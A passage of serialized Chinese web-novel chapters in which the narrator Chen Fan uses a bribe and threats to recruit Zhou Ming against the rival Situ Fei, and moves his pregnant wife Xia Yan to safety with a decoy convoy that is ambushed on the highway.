周叶青拍了拍我的肩膀,好心的提醒我,然后就离开了,她给我和司徒晴留下了空间。
“陈大哥!”司徒晴笑着向我走来。
“晴儿。”我看着她说道:“如果给你一个公司,你敢不敢和司徒飞打擂台?”
“敢!”司徒晴想都没有想就回答了我。
“好,那你现在和我去见一个人。”我说道。
“谁?”
“司徒飞的亲信,周明!”
186你什么时候让我做你的女人?
我转身便要走,可却见司徒晴迟迟没有动作。
我就转过身看向她,问道:“怎么还不走?你不用害怕周明,有我在,他不敢对你怎样。”
我还在担心司徒晴是有什么顾虑。
可司徒晴摇了摇头,她走到我的面前,忽然用她的小手勾住了我的手,她仰起头,阳光迎着她的脸颊,此刻,她的脸上有些红润。
“陈大哥,夏颜是你的女人……”
“秦悦是你的女人……”
“林薇儿是你的女人……”
她忽然停顿了一下,深吸一口气,道:“那我什么时候才能做你的女人。”
她说完,脸颊绯红,可她的眼神却没有逃避,直直的盯着我的眼睛。
我被表白了?
还是强行表白!
我微微一笑,反问:“那你想什么时候做我的女人?”
“现在,我一刻也不想等了!”
司徒晴她凑了过来,直接吻向了我,我顺势搂着她,热烈的回应。
帮助司徒晴拿回她的家产,我当然要连本带利的一起收,我可不会做赔本的买卖!
我当然也不会在周叶青的别墅和司徒晴做这种事情,这太说不过去了,于是我招了招手,指了指旁边的车。
刷一下!
司徒晴的脸就红彤彤的。
我笑着说道:“不敢了?”
“没有……”司徒晴她不敢看我,喃喃道:“没想到你这么的坏。”
于是我勾了勾手,司徒晴就挽着我的胳膊。
坐上车后,我开着车驶出了静水山庄。
直到找到了一个没有人的地方,我和司徒晴双双躺在车里,她主动解开了自己的衣衫,有些紧张的对我说道:“轻一点,我是第一次。”
“嗯……”
我轻声答应,然后压在了她的身上……
一个小时后。
我开车离开了这里,司徒晴则坐在我的副驾驶,她有些害羞,可眼睛里却满是明媚。
“终于可以不用喊你陈大哥了,这次我换称呼了。”司徒晴说道。
“那你想喊我什么?”
“什么都可以,宝宝,哥哥,亲爱的,哈尼……”司徒晴说了好多,她忽然想到了什么,问我:“林薇儿和你做那事儿的时候,喊你什么?”
“哈?!”
我微微一愣,转过头,然后坏笑道:“那下次你来听?”
“讨厌……”司徒晴低下头,道:“才不要呢,那个丫头……”
修罗场!
我的脑海里又浮现出她俩吃醋的那一幕。
于是我马上转移话题。
“你有周明的电话吧?有的话,给他打一个电话。”我说道。
司徒晴马上拿出手机,拨通了电话。
“周叔……我是小晴。”司徒晴在电话里说道。
“小晴,你……我在开会,先挂了。”
我听到周名在电话里拒绝的声音,我马上把电话拿过去,道:“周总,我是陈凡,我想和你见一面。”
“我没什么和你谈的。”周明决绝道。
“呵……”我冷笑一声道:“周总,如果今天你挂了晴儿的电话,那么我保证你儿子会很惨。”
“你!在威胁我!”周明很不爽的说道。
“周叔,陈凡不是那个意思,我们还是见一面吧。”司徒晴说道:“我的公司马上就要和司徒飞打擂台,我需要你的帮助。”
“小晴,你在开什么玩笑,司徒飞是你的叔叔。”
“可是赶我出司徒家的也是他!”司徒晴坚定的说道:“陈凡说了,只要你来我的公司,他会给你一张2000万的支票。”
“周总,我就给你一分钟的考虑时间,我想这张支票,应该可以帮你解决很多麻烦,也可以见证我的诚意。”我说道:“13点,如果你不答应,后果你知道的。”
我不在多说话,话都已经说道这个份上了,还需要多说些什么吗?
“周叔,如果你愿意的话,我想请你来我的公司看看。”司徒晴恰到好处的提醒。
“你的公司?”周叔顿了顿道:“在哪里?”
“晴空科技。”司徒晴说道。
“好吧,那就一个小时后见面。”
周明说完,就马上挂断了电话。
“成功了!”司徒晴兴奋的说道。
我点了点头,然后马上给周叶青发了一个消息:“周明答应一个小时见面。”
“很好,把握机会。”周叶青立刻回复。
我马上开车
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和司徒晴赶往晴空科技,其实这个公司是临周叶青手下临时组建的公司,可当我来到公司的时候,我震惊了,这里足足有上千平。
工作人员大概有上百人,大家都在紧锣密鼓的工作,见到我和司徒晴进来。
他们纷纷点头道:“司徒总裁好。”
被这么多人喊总裁,司徒晴忽然有些不适应,脸一下就红了。
“晴儿,你现在不是司徒家的大小姐,你是这家公司的总裁,你要对自己有信心!”
我的一番话是在给她鼓励,她狠狠的点了点头。
我和她一起走进了总裁办公室。
总裁办公室很大,足有一百多平,装修的现代,符合司徒晴的气质,可以看出来,周叶青的手下应该是用心做这件事。
这让外人看来,司徒晴确实是这里的主人。
“司徒总裁,您好,我是您的专属秘书,刘宇。”一个穿着工装的女人走了进来,她说道:“如果您有需要,可以随时叫我。”
“好!”
司徒晴点了点头,秘书识趣的走了出去。
当周明的电话打进来的时候,我和司徒晴正在看着5G计划的机构建设。
“陈总。”周明说道:“我已经到了。”
“三楼。”我说道。
“好。”
“司徒总裁。”秘书小刘走了进来,她手里拿着一张支票,道:“总裁,这是2000万的支票。”
“好。”
看来周叶青已经准备好了支票,不得不说她的办事机效率很高。
当周明走进来的时候,司徒晴没有废话,她直接将支票递给了周明。
“周叔,这是给你的诚意金,我的公司需要你。”司徒晴接着说道:“只要你来我的公司,位置你随便挑,如果你能帮我夺回司徒家的家产,你想要什么权利,你想要什么地位,我都可以给你!”
周明微微一愣,他都忘记了接过支票,因为司徒晴给的实在是太多了。
“周总,还等什么,加入我们吧。”
我笑着递给了周明一根烟,周明看了看,犹豫了一下,结果了烟。
我知道,这事儿,成了。
我和司徒晴相视一眼,彼此露出会心的一笑。
187司徒晴长大了!
“周叔,请坐。”
司徒晴招呼周明坐下,我们两个人互相抽烟,刘秘书也适当的送上了茶水。
“司徒总裁,陈总。”
周明看了我们两个人一眼,他对司徒晴的称呼已经改变了,那就证明他从心底已经认可了司徒晴。
“我本来还对你的公司有所担心,现在看到你背后的资本,还有公司的规模,我放心了,我愿意加入你们。”周明马上表态。
“欢迎周叔加入,这里的职位你可以随意挑选。”司徒晴再一次重申了自己的想法。
周明摆了摆手,抽了一口烟道:“职位的事情,不着急,现在眼前,你们很麻烦。”
“哦?周叔怎么讲?”司徒晴问道。
周明转过头看了看我,继续说道:“司徒飞已经知道翡翠宫和苏曼的事是你做的了,他现在非常愤怒,今天上午的高层会议上,他拍了桌子,说要不惜一切代价让你消失!
我点了点头,对于这个消息,我早就预料到了,问道:“具体方案你知道吗?”
“他制定了一个三步走计划!”周明的语速加快,道:“第一,动用所有媒体资源,把您和夏总的事往最脏的方向炒,目前已经有三家八卦周刊拿到了夏总怀孕的医疗记录复印件不是伪造的,是真档。”
妈的!
我狠狠掐灭了手里的烟,夏颜的医疗记录这么私密的事情,司徒飞都来插手?
这让我更加担心紧张夏颜的安全,看来必须要把她接来上城!
只有将夏颜放到静水山庄,我才能放心。
司徒晴见我脸色不悦,她温柔的拍了拍我的手,示意我不要紧张。
“第二个事儿……”周明继续道:“他联系了上城地下世界几个有名的清道夫来处理你,他开价很高,具体时间我不知道。”
“第三,司徒飞他准备提前和境外那家电信巨头的签约,原定下周五,现在要提前到这周三,也就是后天。”
“他为什么要提前?”司徒晴问道。
“他担心夜长梦多。”周明说道:“而且他可能察觉到你们的5G公司要和他抢生意了,今天上午,他问我项目资金的调度进度,问得很细,有些问题像是在试探。”
“你怎么回答的?”我问道。
“我说境外那边要求增加一笔技术保证金的托管,正在走流程,需要多一两天,陈总,如果签约真的提前了,你们的计划可能就要泡汤了,司徒飞一旦拿到这份合同,资金和信誉都会暴涨,到时候再想动他就难了。”
我思考了一下,然后说道:“周总,我需要你来做一件事。”
“陈总请说。”
“晴空科技需要你让签约进行不下去,你也不用太明显,你找个合适的理由,让签约推迟三天就行。”
周明眉头微蹙,他说道:“三天有些难,不过我会尽量想办法的!”
我点了点头,我给你了2000万,你如果连这个都做不到,我要你干嘛?
于是我善意的提醒道:“你可以找一个完美的理由,比如说公司的核心专利,出现了所有权争议,这样总能拖延几天了。”
“你是说司徒飞当年那个项目的专利?”周明眼睛一亮道。
“对,当年司徒飞叫停了项目,但专利的所有权并没有完全厘清,根据专利法,在权利归属不明确的情况下,合作方有权暂缓签约。”我说道。
“可是那些专利的法律文件,我要去哪里弄?”周明显然是没有想到我会用出这一招,所以才会担心。
“这个你不用担心,司徒晴已经为你准备好了,这里有当年所有的研发记录,实验数据和专利申请的原始文件。”
周明点了点头,眼中闪过一丝希望道:“那我就放心了,我会在明天的筹备会上提出这个问题,就说法务部在最后核查时发现了潜在风险,建议暂缓签约,等专利归属明确后再推进。”
“记住,你是为了公司利益着想,是为了避免未来的法律**,站在道德的制高点上,这样司徒飞才不会怀疑你。”我提醒道。
“我明白。”周明顿了顿,道:“陈总,还有一件事司徒飞可能要对夏颜下手,你最好提醒她,最近小心些。”
“我知道。”我的声音冷下来。
我和周明谈好了后,简单的聊了几句,就让他回去了。
于是我马上给周大伟和刘飞打电话。
“大伟,你现在马上把咱们保镖公司的人都集结起来,然后送夏颜来上城,一定要快!”我说道。
“好的,凡哥!”
这件事,还是让我觉得不稳妥,于是我又给刘飞打了一个电话。
“刘飞,你现在要做的事情是……”
挂断电话后,我站在窗前,不停的吸烟,周明对我的提警告,我听进去了,我估计司徒飞的人现在正在往海城赶去,所以我必须要抓紧时间,把夏颜
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弄到上城来。
司徒飞这个疯子,他已经开始触碰到我的底线了!
“陈凡?”司徒晴的声音从身后传来问道:“你没事吧?”
我转过身,她已经走到了我身边。
“没事。”我掐灭烟,指了指办公室的外面问道:“设备安装的怎么样?”
“比我们预期的要快。”司徒晴说道:“后天就可以调试了。”她犹豫了一下,问道:“你真的要用那些专利去拖住司徒飞?”
“不只是拖住,”我看着她说:“这就是缓兵之计,如果司徒飞执意要求和境外公司签约,那么我只能兵行险着了!”
“你想要干什么?”司徒晴有些担心的看着我。
“那我只能破坏他和外国人的签约,或者,给外国人好好上一课!”
司徒晴点了头,道:“公司的事情,我都听你的。”
“我调查过司徒家了,现在司徒飞为了扩张,做了太多急功近利的事,损害了司徒家其他人的利益,这点你爸是知道的,只不过他没有多问。”
提到了司徒鸣,司徒晴眼神暗淡了下去。
我走到白板前,画出一个简单的家族关系图,道:“所以我们要做的,不是和整个司徒家为敌,而是让他们看到,你比司徒飞更适合带领家族的技术转型,你代表着司徒家的未来,而他,正在把家族带向悬崖。”
“司徒飞打压你,不是因为你的能力不够,恰恰是因为你的能力太强,强到让他感到威胁。在这个世界上,有时候你不去争,别人就会把你的一切都夺走。”
司徒晴终于点了点头:“好,但陈凡,我要你答应我一件事。”
“你说。”
“如果有一天,我真的和司徒飞正面对抗,我要用技术说话,用产品和市场说话。”她的眼神很坚定道:“我不要成为第二个司徒飞,不要用那些肮脏的手段!”
我看着她的眼睛,她的眼睛里有一种纯粹,但也有一股不容动摇的执着,在这个江湖险恶的世界里,她这样的性格,真的很危险,可我也只能答应。
“我答应你。”我再一次提醒道:“但司徒晴,你要明白,技术是武器,市场是战场。你可以不用肮脏的手段,但你必须学会在战场上保护自己。”
“我知道。”她笑了,那笑容干净得像雨后的天空,“所以我不是一个人,对吗?”
我也笑了道:“对,你不是一个人。”
188接夏颜!
我离开了晴空科技公司,司徒晴还在那里盯着设备。
我没有回公寓,而是去了上城区的一个小巷子,巷子很深,两遍都是斑驳的墙壁和陈旧的建筑。
在一个不起眼的黑色木门前,我停下了脚步,并按响了门铃。
门被打开了,开门的是一个四十多岁的男人,他穿着普通,打扮的也及其的普通,他叫老吴,是我在白起那边知道的人物,他经营着上城最隐秘的情报网络之一。
“老吴?”我试探性的问道。
“你是陈凡?”老吴反问我。
我点了点头。
“进来吧,白起和我说起过你。”
老吴伸出头,看了看四周,见没有外人后,招呼我进去。
老吴把我让进屋,关上门,问道:“喝茶还是喝酒?”
“茶吧。”我在简陋的竹椅上坐下,“吴哥,有件事要麻烦你。”
老吴正在泡茶的手顿了顿道:“关于司徒飞?”
“嗯。”我接过他递来的茶杯,说道:“他找了几个‘清道夫’,目标可能是我。我要知道是谁,什么时候动手,在哪里。”
老吴喝了口茶,浑浊的眼睛里闪过一丝寒光:“司徒飞这小子,这几年是越来越猖狂了。连道上最脏的活儿都敢接。”
“他急了。”我说,“翡翠宫和苏曼的事,戳到了他的痛处。”
“我听说了。”老吴放下茶杯,道:“你小子也是够狠,直接抄了他的老巢。不过干得漂亮,那种藏污纳垢的地方,早就该端了。”
他从抽屉里拿出一本泛黄的笔记本,翻了几页,对我说道:“司徒飞找了三拨人,第一拨是东北来的,三个人,专门做**勒索的,前天晚上到的上城,住在虹桥那边的一个小旅馆里。”
我的眼神冷下来:“他们的目标是谁?”
“还不确定,但他们在打听凡颜资本高层家属的作息规律。”老吴看了我一眼,“特别是一位姓夏的女士。”
我握紧了拳头,指甲深深陷进掌心。
“第二拨,”老吴继续道:“是本地的,以前是混码头的,现在主要接一些**的活儿,司徒飞给了他们一张清单,上面有几个地址,都是凡颜资本在上城的产业。”
“第三拨呢?”
“第三拨最麻烦。”老吴合上笔记本,“是从境外来的,两个人,专业**,价格很高。他们不接一般的活儿,只做清除目标。”
房间里安静下来,只有窗外淅淅沥沥的雨声。
“知道他们的行踪吗?”我问。
“第一拨和第二拨好办,我的人已经盯上了。”老吴说,道:“第三拨人很谨慎,反侦察能力很强。只知道他们昨天下午从浦东机场入境,之后就消失了。”
我沉默了一会儿:“吴哥,能帮我做件事吗?”
“你说。”
“第一拨和第二拨的人,麻烦你的人照顾一下。”我的声音很平静,道:“不用太狠,让他们在医院住几个月就行,医药费我出。”
老吴笑了,那笑容里有一种老兵特有的狠厉:“明白,那第三拨呢?”
“第三拨我来处理。”我站起身,“他们不是一般的**,普通人应付不了。”
“你小心点。”老吴送我到门口,“需要人手就说,我这儿还有几个能打的。”
“谢了,吴哥。”
走出小巷,我坐在车里,马上给夏颜打电话。
“老公?”她的声音听起来有些疲惫,道:“怎么了?”
“听我说,老婆。”我的声音尽量保持平稳,“你现在立刻收拾东西,带上最必要的物品,我让人接你来上城,你不要告诉任何人。”
“出什么事了?”
“司徒飞要对你不利,他的人已经到海城了,可能要对你动手。”
“可是公司这边……”
“公司的事情先放一放。”我的语气不容置疑,道:“颜颜,你和孩子的安全是第一位的,其他的都不重要。”
夏颜深吸一口气:“好。我听你的!”
……
海城高速。
周大伟的车队即将驶入高速路口。
三辆黑色的防弹SUV,保持着标准的护卫队形,中间那辆是被保护的重点,按照原计划,夏颜应该坐在那辆车里,由周大伟亲自护送。
“凡哥,你放心,过了这个路口,就上高速了,没多久,就能把嫂子送到上城。”周大伟和我视频说道。
“好我知道了。”
“刘飞那边有消息吗?”我问。
“十分钟前刚确认,按照他现在的速度,再有半个小时就能到上城。”
我点了点头,
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挂上了电话。
周大伟对着对讲机和兄弟们说道:“大家都认真点,只要咱们把嫂子送到上城,我们的任务就完成了!”
“一车收到!”
“二车收到!”
就在周大伟的车队刚刚使出收费站不久,异变突生!
三辆原本停在应急车道上的厢式货车突然启动,从三个方向猛地斜插过来,硬生生将车队逼停在路中间,几乎同时,货车后面又冲出来两辆越野车,堵**退路。
这些车配合默契,显然是早有预谋。
“来了。”周大伟说道!
一辆厢式货车的后门猛地拉开,十几个穿着黑色作战服、戴着面罩的人跳下车,他们手里拿着**,破门锤!
显然他们是职业的!
周大伟那边的反应速度很快,三辆SUV车几乎同时做出动作,前后两辆SUV猛地向两侧打方向,用车身将中间那辆车护在中心,形成一个简易的三角防御阵型。
车门打开,周大伟和另外五个保镖迅速下车,以车门为掩体,手里的刀已经对准了围上来的人。
没有喊话,没有对峙,直接就是开砍!
一时间,高速公路上,成了群架战场!
几辆车将路全部堵上,后面来的车使劲按喇叭,都没有反应!
只能听见当当当刀和刀碰撞的声音!
周大伟和身后的兄弟们拼杀的正凶猛的时候,忽然间对方往这边扔了两个**,一下子,他们的视线就被封锁住了。
对方早就戴好了面具,然后冲向了夏颜的车辆,他们用破门锤,将车门砸开,然后拉开车门,当打开车门的那一瞬间,所有人都蒙了,
车里是空的。
只有一件夏颜常穿的米白色风衣搭在后座,座位上放着一个假发套,还有一部开着定位功能的手机。
领头的黑衣人抓起那部手机,狠狠摔在地上,又拿起假发看了看,然后猛地抬头,看向周大伟,眼神里充满了被戏耍的怒火。
周大伟此时却笑了,他对着对讲机说了句什么,然后举起双手,做了一个“你们随意”的手势。
对方的人冲进车里里外外搜查了一遍,连后备箱都没放过,空的,什么都没有。
他们中计了。
真正的夏颜,根本不在这支车队里。
189转移夏颜!
时间倒回五个小时前。
海城,夏家老宅。
夏颜坐在客厅里,手里捧着一杯热牛奶,她穿着居家服,可脸色却有些紧张。
柳媚笙正坐在她对面,认真的检查一个黑色旅行包。
“颜颜,都准备好了,你的换洗衣服,洗漱用品,还有常备药,还有你最需要的物品,我都给你放在里面了。”
夏颜点了点头,道:“谢谢你,媚笙。”
“跟我还客气什么。”柳媚笙坐到她身边,握住她的手,说道:“陈凡那边已经安排好了,待会儿会有一支车队来接你,但你不能跟他们走。”
夏颜疑惑地看着她,表示不解。
“那是幌子……”柳媚笙压低声音,道:“司徒飞的人肯定已经在盯着你了,你的车队会大张旗鼓的从这里出发,吸引他们的注意力,而真正的你,会走另一条路。”
“怎么走?”夏颜问到。
“刘飞已经在后门等了。”柳媚笙说,“他会带你从老宅的后山小径出去,那里有辆车等着,你们走国道,绕开高速,直接去上城。”
夏颜沉默了几秒:“陈凡呢?他会不会有危险?”
“他现在在上城,很安全。”柳媚笙拍拍她的手,示意她放心道:“你放心,他有安排,等你在上城安顿好,他很快就会过去跟你汇合。”
柳媚笙正在说话的时候,门外有敲门声。
“嫂子……”刘飞喊了一声。
“进来吧,刘飞。”夏颜说道。
刘飞直接推门而入,平日里的他话最多,也最爱开玩笑,可今天,他确实一副沉默寡言的样子,他面色看起来凝重。
“嫂子,我们可以出发了。”刘飞认真的说道。
柳媚笙站起来,将手里的旅行包递给了刘飞,然后轻轻的拥抱了一下夏颜,关心道:“路上小心,到了上城要记得给我保平安。”
“你也是。”夏颜轻声说。
刘飞带着夏颜从书房的后门出去,穿过一条狭窄的走廊,来到老宅的后院。
“嫂子跟紧我。”刘飞低声说,率先走了出去。
这条小路不算好走,但却一直通往后山,夏颜穿着平底鞋,走路很小心。
刘飞察觉到了,放慢脚步,时不时回头伸手扶她一把。
“谢谢。”夏颜说。
“应该的。”刘飞的声音很稳,道:“凡哥交代过,一定要把您平安送到。”
他们在山里走了大概半小时,然后终于到了山脚,刘飞看了看周围,没有人跟来。
山脚下停着一辆银色大众轿车,车牌子是外地的,刘飞拉开车门,等着夏颜坐进去,他才回到驾驶室。
刘飞开着汽车,走上了一条偏僻的山路。
“嫂子,我们不走高速了,要走国道,周大伟他们走高速。”刘飞提前说好。
“嗯,我知道了。”
夏颜不再多问,靠在后座上,闭上眼睛,她知道,从现在开始,自己只能完全信任陈凡的安排。
车子在夜色中平稳行驶,刘飞开车很稳,速度不快不慢,始终保持在限速范围内,他很少说话,但每隔一段时间就会通过后视镜看一眼夏颜的状况。
两个小时后,车子驶入一个服务区。
“嫂子,你在这里休息一下,我去加油。”刘飞把车停好,道:“卫生间在那边,您小心些。”
夏颜点点头,自己下车去了卫生间,等她回来时,刘飞已经加好油,正在车旁等她。
“再有两个小时就到上城了。”刘飞说,“凡哥在西山准备了安全屋,那里很隐蔽,也很安全。”
夏颜重新坐进车里,这一次,她注意到刘飞的腰间,外套下隐约凸起一块,自己知道那是什么武器。
她没说话,只是心里那根紧绷的弦,稍稍放松了一些。
至少,陈凡安排了最可靠的人来保护她。
五个小时后。
上城,静水庄园。
时间回到现在。
刘飞的车在晚上十点四十五分抵达。
他先下车,仔细检查了周围环境,确认安全后,才为夏颜打开车门。
“嫂子,到了。”
夏颜走出车子,看着眼前这栋隐藏在夜色中的建筑,院子里亮着柔和的灯光,一个四十岁左右、穿着朴素的女人已经等在门口。
“夏总您好,我是李姐,负责照顾您在这里的生活起居。”女人微笑着迎上来,道:“周总都吩咐我们了,房间已经收拾好了,您先休息,有什么需要随时跟我说。”
夏颜对她点点头,然后看向刘飞道:“谢谢你。”
“我的职责。”刘飞微微笑道:“凡哥交代,您在这里很安全,他会尽快过来看您。”
“好,你也好好休息吧。”夏颜笑着对刘飞说道。
刘飞开着离开了静水别
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墅。
夏颜跟着李姐走进了别墅,她已经和周叶青认识了,听李姐说,周叶青今晚要加班,所以没回别墅。
“夏总,周总给您安排的房间,这里很温馨,适合您养胎。”
夏颜走进去一看,这里的暖意蓉蓉,桌子上还百褶热茶和点心。
“您先做,我去给您放洗澡水。”李姐说到。
夏颜在沙发上坐下,终于感到一阵深深的疲惫,这一天的紧张、奔波、担忧,此刻才后知后觉地涌上来。
她轻轻抚摸着自己的小腹,喃喃道:“宝宝,我们安全了,爸爸会保护好我们的。”
……
与此同时,高速路上,战斗已经结束了。
司徒飞派来的人,在确认夏颜不在车里后,他们也不在纠缠,领头的人对着手机讲了几句话,然后挥了挥手,带着手下的人迅速车里。
几辆货车迅速消失在夜色当中,只留下满地的血迹。
周大伟看着他们离开后,他的胳膊上都是血,他擦了擦嘴巴,疯狂大笑道:“兄弟们,咱们任务完成了,陈总说了,每个人奖励十万块!”
“谢谢陈总!”
保安公司的兄弟们各个欢呼!
虽然他们受了伤,可相比于十万块钱来说,这点小伤不算什么。
周大伟拿出手机,他拨通了一个电话。
此时。
我正在开车去往静水别墅,我接到了周大伟的来电。
“凡哥,嫂子到上城了吗?”周大伟着急的问道。
“到了,我现在正在赶往别墅。”我心里掩盖不住激动。
我不敢想象,如果今天夏颜被司徒飞抓走了,后果会怎么样,我将陷入进退两难的地步。
“大伟,辛苦你了,受伤了没有?”问道。
“胳膊有点皮外伤,不碍事。”周大伟说道。
“兄弟们呢?”我问道。
“都受了点伤。”周大伟回答道。
“嗯,高速兄弟们,奖金翻倍!”
“兄弟们,陈总说了,咱们的奖金翻倍,一个人二十万!”
周大伟冲着电话喊道,里面传来了众人的欢呼声。
我笑了笑,我知道,能用钱搞定的事情,就不是事情,这些兄弟加入了公司,跟着我,我不能让他们受委屈。
挂上电话,我加速赶往静水别墅。
那里有我的女人,还有我的孩子在等我……
190夏颜格外温柔!
当我的车子开进了静水山庄的时候,都已经是凌晨时分了。
我把车子停在了离夏颜别墅还有一段距离的地方,夏颜睡觉很轻,我怕车子声音打扰到她,我也想给她一个惊喜。
我走进了别墅,一楼李姐正在熟睡中,她被惊醒,看到是我后,先是一愣,随即笑了笑,我连忙指了指楼上,然后做了一个噤声的手势,示意她不要出声。
我轻手轻脚的走上二楼,刚到楼梯口,我犹豫了一下,心想,要不然我去一楼对付一晚上好了,夏颜晚上才来上城,奔波了一路,很辛苦。
可我实在是想她。
夏颜的卧室门虚掩着,我甚至能听到她的呼吸声。
我轻轻的推开了门,夏颜躺在床上,她身上盖着一个米白色的被子,她的长发披在肩膀上,她的呼吸很均匀,床头微弱的灯光,照在她长长的睫毛上。
岁月静好,如此温柔。
这是我内心最真实的写照,无论我在外面经历了怎样的刀枪剑雨,只要回到这里,想到自己的妻儿,我的心里就有一种踏实,落地的感觉。
这可能就是要当父亲的感受吧。
我站在门口,没有出声,可能是心灵感应,夏颜忽然睁开了眼睛,看到是我后,她的眼睛瞬间睁大,她冷冷的看着我,嘴巴微微张开,她想要说什么,可却又说不出来。
可能是她委屈了,或者是想我了,或者……
然后,她的眼眶以肉眼可见的速度红了……
“老公……”夏颜的声音很轻。
“我来了……”我的声音很轻很温柔,生怕吵到了她。
“陈凡……”她的声音很轻,带着一丝不确定的颤抖,好像怕眼前的人是幻觉。
我走过去,在她面前蹲下,握住她的手。她的手很凉,还有些微微的颤抖。
“我来了。”我说,声音比想象中更温柔。
夏颜的眼睛一眨,眼泪就掉下来了,她没有大哭,只是安安静静地流着泪,像积蓄了太久终于找到出口的泉水。
她伸出另一只手,轻轻碰了碰我的脸……
“昨晚我听到消息了,周大伟的车队在高速路口……”
我握紧她的手,安慰道:“周大伟他们也没事,都是轻伤,别担心。”
她点点头,眼泪流得更凶了。
我站起身,将她轻轻拥入怀里,我知道,她是害怕了,这种被劫持的事情,夏颜经历过很多次,我都怕给她弄出阴影。
夏颜把脸埋在我胸口,双手紧紧抓住我背后的衣服,她没有哭出声,可我的衣服已经湿了,我轻轻拍着她的背,像哄孩子一样,我知道,她需要我这个男人来给她安全感。
不知过了多久,夏颜的哭声渐渐停了,她在我怀里轻轻动了动,我松开她,低头看她。
她的眼睛红红的,鼻尖也红红的,脸上还挂着泪痕,但已经不再流泪了,她有些不好意思地别过脸,伸手去擦眼睛。
“对不起,老公……”她小声说道:“我本来不想哭的……”
“想哭就哭。”我轻轻擦去她脸颊上的泪,安慰道:“你在我面前,不用忍着。”
她抬起眼睛看我,她的眼睛里此刻盛满了柔软和依赖。
“我饿了,老公。”她说道:“折腾了一路,心里始终放心不下你,也没有吃饭。”
我也笑了:“想吃什么?我去让李姐做。”
“你陪我吃。”她拉住我的手,道:“就在这儿,我们两个人,不,是我们一家三口!”
夏颜拉过我的手,放在她的腹部,笑着问我:“感受到了吗?”
“嗯!”我激动的点点头。
“胡说,这才几周啊,你就能感受到,你就会骗我。”
当了妈妈的夏颜,性格好像都变得温柔了。
没过多久,李姐就送来了宵夜,都是清粥和几样小菜,我和夏颜吃了起来,这一幕让我深有感触。
吃完宵夜,我感觉外面的天都要亮了。
“以后,你不要再等我了,我回来的晚,你就早点睡。”我提醒道:“你现在怀孕了,你也要为孩子着想。”
“那我就和孩子一起等你,看你还敢不敢晚回来!”夏颜一副拿捏我的样子说道。
没错,她确实拿捏住我了。
吃完饭,夏颜像是想到了什么似的,问道:“老公,你要不要听听?”
她指了指自己的肚子。
吃完早餐,夏颜忽然想起什么,眼睛亮亮地看着我问道:“老公,你要不要听听?”
隔着柔软的毛衣布料,我感觉到她腹部微微的隆起,虽然不明显,但能感觉到和以前不一样了。
“现在还听不到胎心,”夏颜轻声说:“但医生说再过几周就能听到了,现在你可以试试,也许能感觉到什么。”
我深吸一口气,尽量放轻动作,将手掌完全贴在她的腹部。
一开始,只有温热的体温和平稳的呼吸起伏,但当我静下心来,专注地去感受时,我有一种很轻很轻的感觉,我猛然抬起头看着夏颜。
她正微笑着看着我,眼里闪着光:“感觉到了?”
“是宝宝在动?”我的声音有些发紧。
“嗯。”夏颜把另一只手也覆上来,盖在我的手背上,“医生说这是胎动,虽然还很轻微,但说明宝宝很健康,很有活
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力。”
我的眼眶忽然有点发热。
这是我和夏颜的孩子,是和我最爱的女人爱情的结晶。
“陈凡。”夏颜轻声叫我。
我抬起头。
她正温柔地看着我,眼神里有笑意,也有认真:“你喜欢男孩,还是女孩?”
这个问题很普通,我没有立刻回答,而是认真想了想。
“都喜欢。”我说道:“如果是男孩,我希望他像你,聪明,坚强,有主见,如果是女孩……”我顿了顿,笑道:“也希望像你,漂亮,善良,有勇气。”
夏颜也笑了,那笑容里有一种母性的光辉,她抚摸自己的肚子,道:“我希望他像你。”
“像我?”我挑眉道:“像我有什么好?脾气硬,不会说话,还总惹麻烦。”
“但你可靠,你说到做到,永远不会背叛自己爱的人,有担当,有勇气,知道自己要什么,也愿意为之付出一切。”
“我希望我们的孩子,不管是男孩还是女孩,都能有你这些品质。”
我的心让夏颜彻底温暖了,我俯身,轻轻吻了吻她的额头。
“陈凡,”夏颜忽然开口,声音很轻,“你说……我们能保护好他吗?”
我知道她在问什么,司徒飞的威胁还在,商场的战争还在继续,这个孩子降生的世界,并不完全美好。
我收紧手臂,将她搂得更紧。
“能。”我的声音很坚定,道:“我会用一切去保护你们,无论是司徒飞,还是任何人,只要敢碰你们,我就让他们付出代价。”
夏颜摇摇头道:“老公,我不是要你拼命,我是说……我们能不能给他一个安稳的童年?不用像我们小时候那样,总是提心吊胆,总是要防备这个防备那个?”
我沉默了。
这个问题,我回答不了。
“我会尽力。”我说道:“我会尽量让他看到这个世界美好的一面——阳光、花朵、朋友、爱。至于那些黑暗的、危险的,我会挡在外面。”
夏颜抬起头看我,眼睛亮晶晶的:“那我们说好了,你是他的盾牌,我是他的阳光。”
“好。”我笑了,“说好了。”
我们又坐了一会儿,夏颜开始有些困倦,怀孕后她很容易累,我扶她到床上躺下,给她盖好被子。
“睡一会儿吧。”我坐在床边,握着她的手,“我在这儿陪你。”
“你不用去忙吗?”她迷迷糊糊地问,“司徒飞那边……”
“今天不忙。”我轻轻抚过她的头发,“今天我只陪你和宝宝。”
夏颜满足地笑了,闭上眼睛,很快呼吸就变得均匀绵长……
191连环计!
早上,我在熟睡中。
周明的电话将我吵醒。
我轻轻的用手挪开夏颜,我生怕吵醒她,她皱了皱眉头,但没有醒来,她现在睡眠比较沉,可能是怀孕的原因。
我给她披上被子,然后蹑手蹑脚的,拿着手机走出了卧室。
我来到了书房,关上了门,然后接听电话,周明紧张声音从电话里传来。
“陈总,出大事了,司徒飞把签约的时间又改了,他要提前签约,改到了明天下午进行。”
“你没拦着他?”我问道。
“我已近把专利的事情说了,他本来今天就要签约,在我的强烈要求下,才改到了明天下午。”周明急急忙忙的说道:“外国公司那边刚发来通知,说他们的首席技术官今晚就到上城,下午就能直接签约,我已经找尽借口拖延,但司徒飞这次铁了心,他亲自和对方CEO通了电话,把法务流程压缩到极限。”
司徒飞怎么忽然这么着急了?
是谁泄露了风声么?还是我这边有内鬼?
“周总,你需要再在拖一拖,不能让司徒飞顺利签约,也是给我在争取时间。”我下了死命令。
“最多到明天傍晚。”周明说道:“这是我最大的权利了,明天下午两点,对方团队就会到飞越科技总部,我尽量拖延到明天傍晚,如果让他们签了,司徒飞就有了充足的资金,到时候再想动他就难了。”
我思考着,并没有着急说话。
事发突然,我没有办法在用常规手段了,这个时候,我必须要剑走偏锋了!
“我知道了。”我的声音很平静道:“你那边按正常流程准备,切记,不要让司徒飞起疑,其他的我来处理。”
我挂断电话,我没有立刻行动,而是在书房中思考了很久,我在想办法,如何能摧毁司徒飞的这次签约仪式。
一旦我摧毁了司徒飞的项目,那我就再也没有回头路了!
可司徒飞既然都能对夏颜动手,他就活该有今天!
